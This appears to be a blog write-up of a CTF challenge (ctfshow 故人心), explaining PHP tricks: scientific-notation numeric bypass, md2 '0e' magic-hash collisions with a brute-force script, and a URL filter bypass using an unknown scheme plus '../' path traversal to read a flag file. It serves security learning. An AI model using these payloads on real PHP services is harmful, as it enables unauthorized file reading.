涉及SSRF的一些tricks

trick1

php遇到不认识的协议就会当目录处理

参考题目ctfshow月饼杯故人心

<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    if($d){
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }else{
                    echo '差点点就成功了!';
                }
            }else{
                echo 'please give me url!!!';
            }     
    }else{
        echo '想一想md5碰撞原理吧?!';
    }
}else{
    echo '第一个都过不了还想要flag呀?!';
}

if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
a是数字,a的长度小于7,a不等于0,a的平方是0

由于长度限制,这个时候利用到科学计数法找一个比较小的数例如1e-234

$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
有个robots.txt文件

1
只要保证一个数前面加上0e之后再md2仍然是0e开头的数字即可

<?php
for ($i=0; $i < 999999; $i++) {
$b=hash("md2", '0e'.$i.'024452');
if(is_numeric($b) && substr($b,0,2)==='0e'){
echo '$i = ';echo $i;
echo '$b = ';echo $b;
}

$c=hash("md2",hash("md2", '0e'.$i.'48399'));
if(is_numeric($c) && substr($c,0,2)==='0e'){
echo '$i = ';echo $i;
echo '$c = ';echo $c;
}
}

运行得到结果
2b=0e652024452&c=0e603448399

if($d){
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }else{
                    echo '差点点就成功了!';
                }
            }else{
                echo 'please give me url!!!';
            }

filter_var函数:

filter_var() 函数通过指定的过滤器过滤一个变量。

<?php
if(!filter_var("someone@example....com", FILTER_VALIDATE_EMAIL))
{
echo("E-mail is not valid");
}
else
{
echo("E-mail is valid");
}
?>

代码的输出如下所示:

E-mail is not valid

1详情请见

php会将不认识的协议当成目录

url=hhh://ctfshow.com/
打印Array ( [scheme] => hhh [host] => ctfshow.com [path] => / )
url=hhh://ctfshow.com/../../../../../../fl0g.txt
打印Array ( [scheme] => hhh [host] => ctfshow.com [path] => /../../../../../../fl0g.txt ) ctfshow{91873400-0885-4a10-a7d9-75c9568f5e86}

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

请我喝杯咖啡吧~

支付宝
微信